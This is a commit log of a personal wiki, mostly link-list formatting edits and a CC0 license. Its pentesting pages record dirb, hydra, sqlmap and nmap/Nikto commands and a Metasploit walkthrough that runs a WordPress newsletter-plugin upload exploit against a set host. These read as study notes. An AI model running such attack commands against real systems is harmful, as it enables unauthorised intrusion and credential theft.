+* [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
+
Oct, 02 2018

:construction: Did some work.

updated SUMMARY.md
Show More Show Less

     -   [nmap Cheat Sheet](pentesting/nmap.md)
     -   [WordPress](pentesting/wordpress.md)
 -   [Programming](programming/README.md)
+    -   [CSS](programming/css.md)
     -   [Python](programming/python/README.md)
+        -   [Celery](programming/python/celery.md)
+        -   [Pandas](programming/python/pandas.md)
     -   [Static Website Generators](programming/static-websites.md)
 -   [Text Editors](text-editors/README.md)
-    - [Visual Studio Code](text-editors/vscode.md)
+    -   [Visual Studio Code](text-editors/vscode.md)
updated android/README.md
Show More Show Less

 # Android
 
-* [Fire OS](//android/fire-os.md)
-
-
-
-
-
+-   [Fire OS](//android/fire-os.md)
updated pentesting/README.md
Show More Show Less

 
 ## Links
 
-* [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
-* [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
-* [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
+-   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+-   [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
+-   [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
 
 ## Useful Commands
 
 dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
 
 #### Resources
 
-* [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
-* [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
+-   [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
+-   [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
 
 ### gobuster
 
 Directory/file & DNS busting tool written in Go.
 
 #### Resources
 
-* [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
+-   [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
 
 ### Hydra
 
 hydra 192.168.0.104 http-post-form '/imfadministrator/index.php:user=^USER^&pass
 
 #### Resources
 
-* [http://tools.kali.org/password-attacks/hydra/](http://tools.kali.org/password-attacks/hydra/)
-* [https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/](https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/)
-* [http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html](http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html)
+-   [http://tools.kali.org/password-attacks/hydra/](http://tools.kali.org/password-attacks/hydra/)
+-   [https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/](https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/)
+-   [http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html](http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html)
 
 ### sqlmap
 
 When having to log into an PHPSESSIONID auth:
 ```shell
 sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
 ```
-
-
-
updated pentesting/nmap.md
Show More Show Less
 Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning:
 ```sh
 nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -
 ```
-
-
-
updated programming/python/README.md
Show More Show Less

 # Python 🐍
 
--   [Celery](programming/python/celery.md)
--   [Panads](programming/python/pandas.md)
-
 ## Links
 
 -   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
updated text-editors/README.md
Show More Show Less

 # Text Editors
 
-* [Visual Studio Code](/text-editors/vscode.md)
-
-
-
+-   [Visual Studio Code](/text-editors/vscode.md)
Oct, 02 2018

:construction: Did some more stuff.

added ai.md
Show More Show Less

+# Artificial Intelligence
+
+## Links
+
+-   [Why can a Machine Beat Mario but not Pokemon?](https://towardsdatascience.com/why-can-a-machine-beat-mario-but-not-pokemon-ff61313187e1)
added programming/css.md
Show More Show Less

+# CSS
+
+## Link
+
+-   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
Oct, 02 2018

:bug: Fix some issues.

added text-editors/README.md
Show More Show Less

+# Text Editors
+
+* [Visual Studio Code](/text-editors/vscode.md)
+
+
+
Oct, 02 2018

g:construction: Fixing merge

updated SUMMARY.md
Show More Show Less

 # Summary
 
-<<<<<<< HEAD
-* [Introduction](README.md)
-* [Meta](meta.md)
-  * [License](LICENSE.md)
-* [Setup](/setup.md)
-* [Android](/android.md)
-  * [Fire OS](/android/fire-os.md)
-* [Pentesting](pentesting.md)
-  * [nmap Cheat Sheet](pentesting/nmap.md)
-  * [WordPress](pentesting/wordpress.md)
-* [Programming](programming.md)
-  * [Python](programming/python.md)
-  * [Static Website Generators](programming/static-websites.md)
-  * [Editors](programming/editors.md)
-
-=======
 -   [Introduction](README.md)
 -   [Meta](meta.md)
     -   [License](LICENSE.md)

     -   [Static Website Generators](programming/static-websites.md)
 -   [Text Editors](text-editors/README.md)
     - [Visual Studio Code](text-editors/vscode.md)
->>>>>>> :bug: Updating some links.
Oct, 02 2018

:construction: Did some work.

added .bookignore
Show More Show Less

+.travis.yml
+netlify.toml
+package-lock.json
+package.json
updated GLOSSARY.md
Show More Show Less

+# Glossary
+
+## Postgres
+
+Also know as PostgreSQL and pgsql.
updated SUMMARY.md
Show More Show Less

 -   [Setup](/setup.md)
 -   [Android](/android.md)
     -   [Fire OS](/android/fire-os.md)
+-   [Databases](/databases/README.md)
+    -   [Postgres](/databases/postgres.md)
 -   [Pentesting](pentesting/README.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
     -   [WordPress](pentesting/wordpress.md)
Oct, 02 2018
updated SUMMARY.md
Show More Show Less

 # Summary
 
+<<<<<<< HEAD
 * [Introduction](README.md)
 * [Meta](meta.md)
   * [License](LICENSE.md)

   * [Static Website Generators](programming/static-websites.md)
   * [Editors](programming/editors.md)
 
+=======
+-   [Introduction](README.md)
+-   [Meta](meta.md)
+    -   [License](LICENSE.md)
+-   [Setup](/setup.md)
+-   [Android](/android.md)
+    -   [Fire OS](/android/fire-os.md)
+-   [Pentesting](pentesting/README.md)
+    -   [nmap Cheat Sheet](pentesting/nmap.md)
+    -   [WordPress](pentesting/wordpress.md)
+-   [Programming](programming/README.md)
+    -   [Python](programming/python/README.md)
+    -   [Static Website Generators](programming/static-websites.md)
+-   [Text Editors](text-editors/README.md)
+    - [Visual Studio Code](text-editors/vscode.md)
+>>>>>>> :bug: Updating some links.
Oct, 02 2018

:sparkles: New page for Postgres.

added databases/postgres.md
Show More Show Less

+# Postgres
+
+## Links
+
+-   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
Oct, 01 2018

Merge pull request #1 from myles/renovate/configure

added renovate.json
Show More Show Less

+{
+  "extends": [
+    "config:base"
+  ]
+}
Oct, 01 2018

Updates SUMMARY.md

updated SUMMARY.md
Show More Show Less

 # Summary
 
--   [Introduction](README.md)
--   [Meta](meta.md)
-    -   [License](LICENSE.md)
--   [Setup](/setup.md)
--   [Android](/android.md)
-    -   [Fire OS](/android/fire-os.md)
--   [Pentesting](pentesting.md)
-    -   [nmap Cheat Sheet](pentesting/nmap.md)
-    -   [WordPress](pentesting/wordpress.md)
--   [Programming](programming.md)
-    -   [Python](programming/python.md)
-    -   [Static Website Generators](programming/static-websites.md)
-    -   [Editors](programming/editors.md)
-        - [Visual Studio Code](programming/editors/vscode.md)
+* [Introduction](README.md)
+* [Meta](meta.md)
+  * [License](LICENSE.md)
+* [Setup](/setup.md)
+* [Android](/android.md)
+  * [Fire OS](/android/fire-os.md)
+* [Pentesting](pentesting.md)
+  * [nmap Cheat Sheet](pentesting/nmap.md)
+  * [WordPress](pentesting/wordpress.md)
+* [Programming](programming.md)
+  * [Python](programming/python.md)
+  * [Static Website Generators](programming/static-websites.md)
+  * [Editors](programming/editors.md)
+
Oct, 01 2018

Updates programming/editors.md

added programming/editors.md
Show More Show Less

+# Editors
+
+* [Visual Studio Code](/programming/editors/vscode.md)
+
+
+
Oct, 01 2018

Updates pentesting.md

updated pentesting.md
Show More Show Less

-# Capture the Flag
+# Pentesting / Capture the Flag
 
 ## Links
 
-*   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
-*   [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
-*   [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
+* [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+* [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
+* [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
 
 ## Useful Commands
 
 dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
 
 #### Resources
 
-*   
-*   
+* [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
+* [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
 
 ### gobuster
 
 Directory/file & DNS busting tool written in Go.
 
 #### Resources
 
-*   
+* [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
 
 ### Hydra
 
 When having to log into an PHPSESSIONID auth:
 ```shell
 sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
 ```
+
+
+
Oct, 01 2018

Updates android.md

added android.md
Show More Show Less

+# Android
+
+* [Fire OS](//android/fire-os.md)
+
+
+
+
+
Oct, 01 2018

:sparkles: Add a new page for Fire OS.

updated SUMMARY.md
Show More Show Less

 -   [Meta](meta.md)
     -   [License](LICENSE.md)
 -   [Setup](/setup.md)
+-   [Android](/android.md)
+    -   [Fire OS](/android/fire-os.md)
 -   [Pentesting](pentesting.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
     -   [WordPress](pentesting/wordpress.md)
added android/fire-os.md
Show More Show Less

+# Fire OS
+
+## Links
+
+-   [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/ "How to Install the Google Play Store on the Amazon Fire Tablet or Fire HD 8")
Oct, 01 2018

:recycle: Clean up some minor issues.

updated SUMMARY.md
Show More Show Less

     -   [WordPress](pentesting/wordpress.md)
 -   [Programming](programming.md)
     -   [Python](programming/python.md)
-        -   [Pandas](programming/python/pandas.md)
     -   [Static Website Generators](programming/static-websites.md)
     -   [Editors](programming/editors.md)
         - [Visual Studio Code](programming/editors/vscode.md)
updated programming/python.md
Show More Show Less

 # Python 🐍
 
+-   [Celery](programming/python/celery.md)
+-   [Panads](programming/python/pandas.md)
+
 ## Links
 
-*   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
+-   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
Oct, 01 2018

:construction: Add a new page and edit another.

updated programming/editors/vscode.md
Show More Show Less

 # Visual Studio Code
 
+[Visual Studio Code](https://code.visualstudio.com/) is a text editor.
+
 ## Links
 
 -   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](/programming/jupyter-notebook.md).
added programming/python/celery.md
Show More Show Less

+# Celery
+
+## Links
+
+-   [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
deleted renovate.json
Oct, 01 2018

Add renovate.json

added renovate.json
Show More Show Less

+{
+  "extends": [
+    "config:base"
+  ]
+}
Oct, 01 2018

:construction_worker: Add support for lint testing.

added .travis.yml
Show More Show Less

+language: node_js
+script: npm run-script lint
+
Oct, 01 2018

:construction: Wrote some more stuff.

updated meta.md
Show More Show Less

 # About this Wiki
 
-The inspiration for this wiki is [Nikita Voloboev](https://nikitavoloboev.xyz/)'s [GitBook](https://wiki.nikitavoloboev.xyz/) and [other people who have public a knowledge repository](https://github.com/RichardLitt/meta-knowledge#repositories).
+After seeing [Nikita Voloboev](https://nikitavoloboev.xyz/)'s [GitBook](https://wiki.nikitavoloboev.xyz/) and [other people who have public a knowledge repository](https://github.com/RichardLitt/meta-knowledge#repositories) I was inspired to start my own.
 
 ## How it's Built
 
-This wiki is built with [GitBook](https://github.com/GitbookIO/gitbook) and hosted on [Netlify](https://netlify.com/).
+This wiki is built using [GitBook](https://github.com/GitbookIO/gitbook) and hosted on [Netlify](https://netlify.com/).
updated setup.md
Show More Show Less
 List of applications, tools, and services that I'm currently using.
 
 ## Applications
 
+### [Bear](https://bear.app/)
+
+Note and ToDo list application for macOS and iOS.
+
+### [DEVONThink Pro Office](https://www.devontechnologies.com/products/devonthink/devonthink-pro-office.html) & [DEVONThink To Go](https://www.devontechnologies.com/products/devonthink/devonthink-to-go.html)
+
+For tracking PDFs and other documents in macOS and iOS.
+
 ### [Tower](https://www.git-tower.com)
 
 A GUI Git client for macOS and Windows.
Oct, 01 2018

:construction: Add a couple new things.

added GLOSSARY.md
Show More Show Less
/GLOSSARY.md b/GLOSSARY.md
new file mode 100644
index 0000000..e69de29
updated SUMMARY.md
Show More Show Less

 # Summary
 
-*   [Introduction](README.md)
-*   [Meta](meta.md)
-    *   [License](LICENSE.md)
-*   [Setup](/setup.md)
-*   [Pentesting](/pentesting.md)
-    *   [nmap Cheat Sheet](/pentesting/nmap.md)
-    *   [WordPress](/pentesting/wordpress.md)
-*   [Programming](programming.md)
-    *   [Python](programming/python.md)
-        *   [Pandas](programming/python/pandas.md)
+-   [Introduction](README.md)
+-   [Meta](meta.md)
+    -   [License](LICENSE.md)
+-   [Setup](/setup.md)
+-   [Pentesting](pentesting.md)
+    -   [nmap Cheat Sheet](pentesting/nmap.md)
+    -   [WordPress](pentesting/wordpress.md)
+-   [Programming](programming.md)
+    -   [Python](programming/python.md)
+        -   [Pandas](programming/python/pandas.md)
+    -   [Static Website Generators](programming/static-websites.md)
+    -   [Editors](programming/editors.md)
+        - [Visual Studio Code](programming/editors/vscode.md)
added programming/editors/vscode.md
Show More Show Less

+# Visual Studio Code
+
+## Links
+
+-   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](/programming/jupyter-notebook.md).
updated setup.md
Show More Show Less
 List of applications, tools, and services that I'm currently using.
 
 A GUI Git client for macOS and Windows.
 
+### [Working Copy](https://workingcopyapp.com/)
+
+A GUI Git client and text editor for iOS.
+
 ### [TweetBot](https://tapbots.com/tweetbot/)
 
 My favorite Twitter client for iOS and macOS.
Oct, 01 2018

:wrench: Fix some minor config issues.

updated README.md
Show More Show Less

 # [📚 Myles' Wiki 📚](https://wiki.mylesb.ca/)
 
-👋, welcome to my personal wiki where I try and share everything I research and know.
+👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
updated netlify.toml
Show More Show Less
 ID = "myles-wiki"
 
 [build]
   publish = "_book/"
-  command = "gitbook build"
+  command = "npm run-script build"
 
Oct, 01 2018

:sparkles: New Wiki page on static website generators.

added programming/static-websites.md
Show More Show Less

+# Static Website Generators
+
+I keep a list of [Static Website Generators on GitHub](https://github.com/myles/awesome-static-generators/blob/master/README.md "Awesome Static Site Generators").
Oct, 01 2018

:construction: Did some work.

updated LICENSE.md
Show More Show Less
 Certain owners wish to permanently relinquish those rights to a Work for the pur
 
 For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights.
 
-1. __Copyright and Related Rights.__ A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following:
+1.  __Copyright and Related Rights.__ A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following:
 
     i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work;
 
 For these and/or other purposes and motivations, and without any expectation of
 
     vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof.
 
-2. __Waiver.__ To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose.
+2.  __Waiver.__ To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose.
 
-3. __Public License Fallback.__ Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose.
+3.  __Public License Fallback.__ Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose.
 
-4. __Limitations and Disclaimers.__
+4.  __Limitations and Disclaimers.__
 
     a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document.
 
updated SUMMARY.md
Show More Show Less

 # Summary
 
-* [Introduction](README.md)
-* [Meta](meta.md)
-  * [License](LICENSE.md)
-* [Pentesting](/pentesting.md)
-  * [nmap Cheat Sheet](/pentesting/nmap.md)
-  * [WordPress](/pentesting/wordpress.md)
-* [Programming](programming.md)
-  * [Python](programming/python.md)
-    * [Pandas](programming/python/pandas.md)
-
+*   [Introduction](README.md)
+*   [Meta](meta.md)
+    *   [License](LICENSE.md)
+*   [Setup](/setup.md)
+*   [Pentesting](/pentesting.md)
+    *   [nmap Cheat Sheet](/pentesting/nmap.md)
+    *   [WordPress](/pentesting/wordpress.md)
+*   [Programming](programming.md)
+    *   [Python](programming/python.md)
+        *   [Pandas](programming/python/pandas.md)
updated pentesting.md
Show More Show Less

 
 ## Links
 
-* [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
-* [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
-* [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
+*   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+*   [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
+*   [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
 
 ## Useful Commands
 
 dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
 
 #### Resources
 
-* [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
-* [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
+*   
+*   
 
 ### gobuster
 
 Directory/file & DNS busting tool written in Go.
 
 #### Resources
 
-* [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
+*   
 
 ### Hydra
 
 When having to log into an PHPSESSIONID auth:
 ```shell
 sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
 ```
-
-
-
updated pentesting/wordpress.md
Show More Show Less
 msf > db_nmap -v -sV 192.168.111.xxx
 
 #### Scan an Entire Network
 
-* This will save the results to the metasploit database
+*   This will save the results to the metasploit database
 
 ```sh
 msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1
 ```
 
-* `hosts` will list all the hosts found by `nmap`.
-* `hosts -R` will add them to the list of hosts to exploit.
+*   `hosts` will list all the hosts found by `nmap`.
+*   `hosts -R` will add them to the list of hosts to exploit.
 
 ### Searching for a WordPress Vulnerability
 
 msf > search name:wordpress
 
 ### Use an Exploit
 
-* This will select an exploit to use:
+*   This will select an exploit to use:
 
 ```sh
 msf > use exploit/unix/webapp/wp_wysija_newsletters_upload
 ```
 
-* This will show you the attacks that the exploit will take advantage of:
+*   This will show you the attacks that the exploit will take advantage of:
 
 ```sh
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 
 ![pentest-env-kali-rolling\_\_Running\_.png](resources/67A7D5964C96C63BA11EEA707CB4A604.png)
 
-* This will show what software and version will be targeted:
+*   This will show what software and version will be targeted:
 
 ```sh
 msf exploit(wp_wysija_newsletters_upload) > show targets
 Exploit target:
     0   wysija-newsletters < 2.6.8
 ```
 
-* Here is where we set all the options:
+*   Here is where we set all the options:
 
 ```sh
 msf exploit(wp_wysija_newsletters_upload) > set RHOST 159.203.19.77
 msf exploit(wp_wysija_newsletters_upload) > set VHOST myles.life
 ```sh
 msf exploit(wp_wysija_newsletters_upload) > exploit
 ```
-
-
-
updated programming/python.md
Show More Show Less

 # Python 🐍
 
+## Links
 
-
+*   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
updated programming/python/pandas.md
Show More Show Less

 
 ## Notes
 
-* [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
+*   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
 
 ## Snippets
 
 from slugify import slugify
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 ```
-
-
-
added setup.md
Show More Show Less

+# Setup
+
+List of applications, tools, and services that I'm currently using.
+
+## Applications
+
+### [Tower](https://www.git-tower.com)
+
+A GUI Git client for macOS and Windows.
+
+### [TweetBot](https://tapbots.com/tweetbot/)
+
+My favorite Twitter client for iOS and macOS.
Oct, 01 2018

:sparkles: Fix up a few issues.

added LICENSE.md
Show More Show Less

+# CC0 1.0 Universal
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER.
+
+## Statement of Purpose
+
+The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights (defined below) upon the creator and subsequent owner(s) (each and all, an "owner") of an original work of authorship and/or a database (each, a "Work").
+
+Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works ("Commons") that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others.
+
+For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights.
+
+1. __Copyright and Related Rights.__ A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following:
+
+    i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work;
+
+    ii. moral rights retained by the original author(s) and/or performer(s);
+
+    iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work;
+
+    iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4(a), below;
+
+    v. rights protecting the extraction, dissemination, use and reuse of data in a Work;
+
+    vi. database rights (such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive); and
+
+    vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof.
+
+2. __Waiver.__ To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose.
+
